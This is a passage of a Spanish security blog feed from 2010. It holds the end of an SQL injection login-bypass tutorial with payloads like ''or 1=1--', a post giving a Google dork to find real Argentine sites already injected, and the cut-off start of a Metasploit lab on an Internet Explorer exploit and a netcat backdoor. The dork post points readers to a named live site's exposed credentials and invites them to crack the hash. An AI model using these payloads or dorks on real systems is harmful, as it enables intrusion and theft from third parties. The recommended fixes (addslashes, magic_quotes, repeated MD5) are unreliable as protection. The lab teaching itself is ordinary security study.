pointer; width: 320px; height: 119px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8zdwJKvZYI/AAAAAAAAALw/k8e9sMsgMx0/s320/logeo3.jpeg" alt="" id="BLOGGER_PHOTO_ID_5461984267257996674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;Estudiemos un poco lo que hicimos, al ingresar &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;font-size:85%;" &gt;'or 1=1--&lt;/span&gt;&lt;span style="font-size:85%;"&gt; . La comilla ingresada por nosotros cumple la funcion de cerrar la primer comilla del programador es decir quedaria asi '&lt;span style="color: rgb(204, 0, 0);"&gt;'&lt;/span&gt;, con eso ya podemos colocar sentencias SQL ya que no estamos dentro de la comillas simples, entonces viene esto &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;font-size:85%;" &gt;or 1=1&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt; la sentencia or significa que si algo es verdadero entonces todo es verdadero, y como 1=1 es verdadero entonces toda nuestra consulta sera verdadera por mas que no hallamos dicho el usuario es igual a '' (osea nada). Or se comporta de esta forma&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;1- V or V = Verdadero&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;2- V or F = Verdadero&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;3- F or V = Verdadero *&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;4- F or F = Falso&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;En nuestro caso se comportaria como la linea numero 3, osea Falso or Verdadero. Luego viene lo que es &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;font-size:85%;" &gt;--&lt;/span&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;' AND password=''&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;, &lt;span style="font-weight: bold; color: rgb(204, 0, 0);"&gt;-- &lt;/span&gt;en sql es comentario por lo que entonces todo lo que viene despues de ahi se lo toma como comentario, esto nos permite decirle al DBMS que lo que sigue, osea &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;' AND password=''&lt;/span&gt;&lt;span style="font-size:85%;"&gt;, lo tome como un comentario. Matamos la ' simple que sobraba puesto por el programador y la parte donde pide que el password se = a lo que ingresa el usuario :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;Ataque 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;En el ataque anterior podiamos ingresar sin saber el usuario ni el password, pero caemos solamente en el primer registro de la tabla en cuestion (Usuarios).&lt;br /&gt;Podemos dirigirnos a un registro conociendo el usuario y sin saber la contraeña, para ello casi siempre los administrador colocan &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;admin, administrador etc&lt;/span&gt;&lt;span style="font-size:85%;"&gt;, como nombres de usuarios, yo en mi tabla tengo un usuario admin. Entonces inyectamos  y entramos como el usuario sin saber su contraseña. En usuario colocamos &lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;admin'-- &lt;/span&gt;&lt;span style="font-size:85%;"&gt;, quedando la consulta SQL&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SELECT * FROM usuarios WHERE usuario='&lt;span style="color: rgb(204, 0, 0);"&gt;admin'-- &lt;/span&gt;' AND password=''&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;ingresamos como admin sin saber el password :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8zjrCC7aQI/AAAAAAAAAL4/2xLHHYUUOYA/s1600/logeo4.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 119px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8zjrCC7aQI/AAAAAAAAAL4/2xLHHYUUOYA/s320/logeo4.jpeg" alt="" id="BLOGGER_PHOTO_ID_5461990776516602114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;y como &lt;span style="font-weight: bold;"&gt;magno&lt;/span&gt; :)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S8zkFnGaTEI/AAAAAAAAAMA/t5d1IPiGoCA/s1600/logeo5.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 119px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S8zkFnGaTEI/AAAAAAAAAMA/t5d1IPiGoCA/s320/logeo5.jpeg" alt="" id="BLOGGER_PHOTO_ID_5461991233139919938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size:85%;"&gt;estudiemos un poco lo que hicimos, ingresamos &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="color: rgb(204, 0, 0);"&gt;admin'-- &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;la &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;palabra admin es tomada como string ya que va a estar delimitada por la primer comilla del programador mas la comilla que ingresamos siguiendo a ella&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="color: rgb(204, 0, 0);"&gt;admin'. &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Quedando de este modo&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="color: rgb(204, 0, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;'&lt;span style="color: rgb(204, 0, 0);"&gt;admin'&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, luego el &lt;span style="font-weight: bold;font-size:85%;" &gt;&lt;span style="color: rgb(204, 0, 0);"&gt;--&lt;/span&gt;&lt;/span&gt; realiza la misma funcion que anteriormente dejando en comentario la comilla que sobra mas la sentencia donde pide el password&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;La solucion &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Cuando empazamos este ejemplo dijimos que la forma de poder inyectar  era poder escapar de la limitaciones de la comilla simple, osea que si nosotros podemos llegar a lograr que si el usuario cuando coloque una comilla simple lo trasforme a otra cosa, el usuario ingrese lo que ingrese siempre quedara dentro de las comillas simples que el programador coloco.&lt;br /&gt;Para ello tenemos formas de filtrar comillas, tenemos del lado del servidor y del lado de la aplicacion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;Lado del Servidor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Una funcion muy popular es la &lt;a href="http://www.php.net/manual/en/security.magicquotes.php"&gt;Magic_quotes&lt;/a&gt;, que se encuentra en el archivo php.ini (en nuestro caso con lampp esta en /opt/lampp/etc ). Lo que realiza esta funcion es colocar automaticamente slashes, a las variables que se pasan por $_POST y $_GET. Para que sirve esto es practicamente para poder impedir las SQL injection aunque desde las versiones de PHP 5.3.0, vienen desactivadas &lt;a href="http://www.eslomas.com/index.php/archives/2005/10/13/como-evitar-problemas-con-magic-quotes/"&gt;mas info&lt;/a&gt;.&lt;br /&gt;Para poder activar esta funcionalidad tendremos que editar el archivo php.ini, para ello nos dirigimos a la carpeta de configuracion de lampp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#cd /opt/lampp/etc&lt;br /&gt;#cp php.ini php.ini.backups&lt;br /&gt;#nano php.ini&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;y buscamos esta linea&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;magic_quotes_gpc = Off&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Y lo ponemos en On&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;magic_quotes_gpc = On&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Luego reiniciamos apache para que tome los cambios&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;#/opt/lampp/lampp restart&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Ahora si quisieramos inyectar las comillas simples ' nos trasformara a esto \',&lt;br /&gt;Osea que si yo ingreso nuevamente para bypasear dicho login la consulta se vera asi.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SELECT * FROM usuarios WHERE usuario='&lt;span style="color: rgb(204, 0, 0);"&gt;\'or 1=1--&lt;/span&gt; ' AND password=''&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Por lo que siempre vamos a quedarnos encerrados entres las comillas simples del programador, por lo cual ingresemos lo que ingresemos siempre nuestro datos seran tomados como un string comun :).&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;Lado de la Aplicación&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Del lado de la aplicacion tambien existen funciones que nos permiten agregar slashes, y recomiendan usar esta funcion antes que las magic_quotes.&lt;br /&gt;&lt;a href="http://php.net/manual/en/function.addslashes.php"&gt;Addslashes&lt;/a&gt;, es una funcion de php que nos permite actuar de forma similar a las magic_quotes, escapando &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;',",\  y NULL&lt;/span&gt;&lt;span style="font-size:85%;"&gt;.&lt;br /&gt;Para que nuestro codigo sea capas de poder filtrar esas comillas agregaremos esta funcion a la variable que llegan desde el usuario y son pasadas para el DBMS. El codigo seguro quedaria de este modo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="cpp"&gt;&lt;br /&gt;$usuario=$_POST['nombre'];&lt;br /&gt;$password=$_POST['pass'];&lt;br /&gt;$usuario= addslashes($usuario);&lt;br /&gt;$password= addslashes($password);&lt;br /&gt;$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Con esto logramos filtrar las comillas logrando la misma funcionalidad de magic_quotes. Recomiendo leer sobre la funcion &lt;a href="http://www.php.net/manual/en/function.mysql-real-escape-string.php"&gt;mysql_&lt;span class="w"&gt; &lt;/span&gt;real_&lt;span class="w"&gt; &lt;/span&gt;escape_&lt;span class="w"&gt; &lt;/span&gt;string.&lt;/a&gt;&lt;br /&gt;Aqui no esta pero el password se deberia guardar en Base de Datos en forma encriptada usando alguna funcion de hash como ser MD5, SHA1 etc, o algun otro algoritmo. Tambien se puede crear una funcion que al password pase 6 o N veces por la funcion HASH asi que si alguien puede verlo no pueda ser roto de forma facil con fuerza bruta o diccionario.&lt;br /&gt;Por ejemplo el md5 para 123456 es e1&lt;span style="font-weight: bold;"&gt;0adc3949ba59abbe56e057f20f883e&lt;/span&gt;, si alguien puede obetener este hash, podria pasarlo por algun diccionario que existen en la web. Una buena tools para esto es la que codeo Daniel ver &lt;a href="http://www.delincuentedigital.com.ar/md5.php"&gt;aqui&lt;/a&gt;. Ese hash podemos ver que es facil de romper con diccionario.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S8z03Yt8hBI/AAAAAAAAAMI/T-2VIXCeYHg/s1600/md5.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 119px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S8z03Yt8hBI/AAAAAAAAAMI/T-2VIXCeYHg/s320/md5.jpeg" alt="" id="BLOGGER_PHOTO_ID_5462009680458712082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;El mismo password del usuario 123456, pasado 6 veces por la funcion md5 seria  &lt;b&gt;&lt;span class="Estilo2"&gt;74e59720dd08b1db45f7152d082c5051&lt;/span&gt;&lt;/b&gt; , y pasada por el bruteador&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8z2eGmz8DI/AAAAAAAAAMQ/a593wjXdBmY/s1600/md6.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 119px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8z2eGmz8DI/AAAAAAAAAMQ/a593wjXdBmY/s320/md6.jpeg" alt="" id="BLOGGER_PHOTO_ID_5462011445123477554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size:85%;"&gt;Observamos dos cosas, que hay una baja taza de deteccion, y que el diccionario alimamed.pp.ru, nos mato nuestra seguridad jaja xD...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Proximas Entregas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;La proxima entrega se realizara los ataques a las variables de tipo $_GET, y veran que si el dato es un entero no se nesesita la comilla simple, dependiendo de la programacion!. Se vera como detectar que la aplicacion es vulnerable y como explotar con la clausula UNION y luego como solucionar.&lt;br /&gt;Y la ultima entrega se veran las SQL injection mas avanzadas que son las que permiten comprometer al HOST.&lt;br /&gt;Tambien podria hacer una cuarta entrega para hablar sobre BLIND SQL, y un DOS a travez de SQL injection.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-5955550983321758017?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/5955550983321758017/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/04/sql-injection-parte-i.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/5955550983321758017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/5955550983321758017'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/04/sql-injection-parte-i.html' title='SQL injection Parte I'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8yRgzZkuTI/AAAAAAAAALQ/M6zRbc--hps/s72-c/base1.jpeg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-2665529441277438236</id><published>2010-04-13T00:32:00.000-07:00</published><updated>2010-04-13T01:09:24.832-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Sql Injection Cache Google</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.wipeout44.com/video/images/google_logo.jpg"&gt;&lt;img style="cursor: pointer; width: 426px; height: 344px;" src="http://www.wipeout44.com/video/images/google_logo.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Todos sabemos que Mr. Google es una herramienta fabulosa, y que todos los dias lo usamos para realizar busquedas de cualquier tipo. En este caso la busqueda es algo rebuscada, por asi decirlo, la cuestion es que colocando una dork, con un cadena de texto con sentencias SQL podemos obetener SQLi ya provocadas por otras personas.&lt;br /&gt;La cuestion es que si lo que hace Google esta bien, ¿por que no ponen una restrincion a bug como ser SQL, XSS, RFI, LFI etc.. etc...?&lt;br /&gt;Pero Google no se puede hacer cargo de lo que pasa a cada web del mundo, los que se deberian hacerse cargo son los Webmaster de sus  propias paginas, para mas hay mucha informacion en la web de como sanear una consulta SQL para no caer en un &lt;a href="http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL"&gt;SQL INJECTION.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Busqueda&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;La busqueda se realiza con ayuda de &lt;a href="http://en.wikipedia.org/wiki/Google_hacking"&gt;Hacking Google&lt;/a&gt; de una forma sensilla:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.com.ar/#hl=es&amp;amp;q=inurl:UNION+SELECT+1,2+site:com.ar&amp;amp;start=0&amp;amp;sa=N&amp;amp;fp=741f27eb6c0814ac"&gt;&lt;span style="font-weight: bold;"&gt;inurl:UNION SELECT 1,2 site:com.ar&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Con esta busqueda lo que hacemos es decir a Google que nos de la web que tengan la cadena &lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;"UNION SELECT 1,2" &lt;/span&gt;&lt;span style="font-size:100%;"&gt;en su URL  pero que tambien nos filtre  los sitios argentinos &lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;"com.ar"&lt;/span&gt;&lt;span style="font-size:100%;"&gt; :).&lt;br /&gt;&lt;br /&gt;Obetenmos algo como esto.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8QhSps9C4I/AAAAAAAAAKw/rGCIR5A3yrI/s1600/linux1.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 121px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8QhSps9C4I/AAAAAAAAAKw/rGCIR5A3yrI/s320/linux1.jpeg" alt="" id="BLOGGER_PHOTO_ID_5459525252595649410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Bueno creo que a todos nos va a llamar la atencion de la Web de jesica.. mmm creo que ya se quien pudo haber hecho la &lt;a href="http://www.delincuentedigital.com.ar/2009/09/fotos-premiun-de-jesica-ciriogratis.aspx"&gt;Inyecion&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Vamos al enlace, y vemos que tenemos el usuario y el password encriptado ( por lo menos encripto!!!. ) y por lo visto algo fuertes, probe algunos diccionarios y nada, el que pueda crackearlo que ponga en comentarios si quiere ;).&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S8QjIyf1AFI/AAAAAAAAAK4/mBYzUZBBNoM/s1600/linux2.jpeg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 128px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S8QjIyf1AFI/AAAAAAAAAK4/mBYzUZBBNoM/s320/linux2.jpeg" alt="" id="BLOGGER_PHOTO_ID_5459527282181079122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Ahora tambien se puede ver otra cosa. Hay una seccion que es PREMIUM ;)...&lt;br /&gt;En fin eso los dejo para que el que quiere investigar, tampoco se puede regalar las cosas tan faciles no, para eso ya está Google con su indexacion ja..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL"&gt;&lt;/a&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class=" on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;img src="http://www.blogger.com/img/blank.gif" alt="Enlace" class="gl_link" border="0" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-2665529441277438236?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/2665529441277438236/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/04/sql-injection-cache-google.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2665529441277438236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2665529441277438236'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/04/sql-injection-cache-google.html' title='Sql Injection Cache Google'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S8QhSps9C4I/AAAAAAAAAKw/rGCIR5A3yrI/s72-c/linux1.jpeg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-3953226322321048456</id><published>2010-03-22T11:43:00.000-07:00</published><updated>2010-03-27T22:39:05.879-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iexplorer'/><category scheme='http://www.blogger.com/atom/ns#' term='laboratorio'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Troyano'/><title type='text'>Laboratorio - Metasploit - Backdor Persistente +  Exploit  ie_iepeers_pointer</title><content type='html'>El 10 de marzo me llego un mail de Uno al Dia, informando el nuevo &lt;a href="http://www.microsoft.com/technet/security/advisory/981374.mspx"&gt;0-day&lt;/a&gt; de Internet Explorer, que ataca a las versiones 6 y 7, las versiones 5 y 8 no son afectadas.&lt;br /&gt;&lt;div style="text-align: left;"&gt;Como contramedida seria los que usan IE migrar totalmente hacia la version 8. Estadisticamente de 100 personas aprox. 20 estarian usando las versiones 6 y 7 de de IE, les dejo una imagen&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S6e9nNrHJQI/AAAAAAAAAKA/UR7KsIZIBN0/s1600-h/Jhah0Tj8.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 248px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S6e9nNrHJQI/AAAAAAAAAKA/UR7KsIZIBN0/s320/Jhah0Tj8.png" alt="" id="BLOGGER_PHOTO_ID_5451534355338306818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;El exploit es un BOF que ataca a la libreria&lt;span style="font-weight: bold;"&gt; ie_iepeers&lt;/span&gt; pudiendo ejecutar codigo arbitrario con privilegios del usuario que esta ejecutando el navegador.&lt;br /&gt;Para poder usarlo desde el metasploit antes realizen un update al freamwork.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#msfupdate&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;Comenzando&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Este post va en dos partes primero el ataque con el exploit &lt;span style="font-weight: bold;"&gt; ie_iepeers, &lt;/span&gt;y luego subir un netcat y dejarlo como backdor persistente en la victima.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Herramientas&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Como laboratorio tengo un Debian 5.0 como sistema anfitrion, Windows XP SP 3 - Internet Explorer 6.0 corriendo como sistema huesped, VirtualBOX 3.1.4 r57640, Metasploit Framework Version: 3.3.4-de&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Primer Parte&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Bueno la carga de los datos es exactamente igual que la forma donde mostre en el post anterior de Metasploit &lt;a href="http://magnobalt.blogspot.com/2010/02/laboratorio-metasploit-exploit-ieaurora.html"&gt;LINK&lt;/a&gt;, mostrare todo junto desde la eleccion del exploit, seteo de variables hasta lanzar el exploit.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 800px; height: 250px; text-align: left;"&gt;&lt;br /&gt;Magno:/home/magno# msfconsole&lt;br /&gt;&lt;br /&gt;          _&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;                                | |      o     &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt; _  _  _    _ _|_  __,   ,    _  | |  __    _|_ 